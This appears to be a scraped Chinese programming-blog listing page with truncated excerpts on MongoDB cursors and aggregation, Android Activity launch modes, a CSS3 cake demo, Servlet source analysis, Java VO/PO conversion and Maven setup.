随着资源和控制器类准备,您可以使用URL如 http://localhost/index.php?r=user/create访问资源,类似于你可以用正常的Web应用程序做法。
在实践中,你通常要用美观的URL并采取有优势的HTTP动词。 例如,请求POST /users意味着访问user/create动作。 这可以很容易地通过配置urlManager应用程序组件来完成 如下所示
MongoDB查询(4)——游标和分页[八]
eksliang
mongodb MongoDB游标 MongoDB深分页
转载请出自出处:http://eksliang.iteye.com/blog/2177567 一、游标
数据库使用游标返回find的执行结果。客户端对游标的实现通常能够对最终结果进行有效控制,从shell中定义一个游标非常简单,就是将查询结果分配给一个变量(用var声明的变量就是局部变量),便创建了一个游标,如下所示:
> var
Activity的四种启动模式和onNewIntent()
gundumw100
android
Android中Activity启动模式详解
在Android中每个界面都是一个Activity,切换界面操作其实是多个不同Activity之间的实例化操作。在Android中Activity的启动模式决定了Activity的启动运行方式。
Android总Activity的启动模式分为四种:
Activity启动模式设置:
<acti
攻城狮送女友的CSS3生日蛋糕
ini
html Web html5 css css3
在线预览:http://keleyi.com/keleyi/phtml/html5/29.htm
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>攻城狮送女友的CSS3生日蛋糕-柯乐义<
读源码学Servlet(1)GenericServlet 源码分析
jzinfo
tomcat Web servlet 网络应用 网络协议
Servlet API的核心就是javax.servlet.Servlet接口,所有的Servlet 类(抽象的或者自己写的)都必须实现这个接口。在Servlet接口中定义了5个方法,其中有3个方法是由Servlet 容器在Servlet的生命周期的不同阶段来调用的特定方法。
先看javax.servlet.servlet接口源码:
package
JAVA进阶:VO(DTO)与PO(DAO)之间的转换
snoopy7713
java VO Hibernate po
PO即 Persistence Object VO即 Value Object
VO和PO的主要区别在于: VO是独立的Java Object。 PO是由Hibernate纳入其实体容器(Entity Map)的对象,它代表了与数据库中某条记录对应的Hibernate实体,PO的变化在事务提交时将反应到实际数据库中。
实际上,这个VO被用作Data Transfer
mongodb group by date 聚合查询日期 统计每天数据(信息量)
qiaolevip
每天进步一点点 学习永无止境 mongodb 纵观千象
/* 1 */
{
"_id" : ObjectId("557ac1e2153c43c320393d9d"),
"msgType" : "text",
"sendTime" : ISODate("2015-06-12T11:26:26.000Z")
java之18天 常用的类(一)
Luob.
Math Date System Runtime Rundom
System类
import java.util.Properties;
/**
* System:
* out:标准输出,默认是控制台
* in:标准输入,默认是键盘
*
* 描述系统的一些信息
* 获取系统的属性信息:Properties getProperties();
*
*
*
*/
public class Sy
maven
wuai
maven
1、安装maven:解压缩、添加M2_HOME、添加环境变量path
2、创建maven_home文件夹,创建项目mvn_ch01,在其下面建立src、pom.xml,在src下面简历main、test、main下面建立java文件夹
3、编写类,在java文件夹下面依照类的包逐层创建文件夹,将此类放入最后一级文件夹
4、进入mvn_ch01
4.1、mvn compile ,执行后会在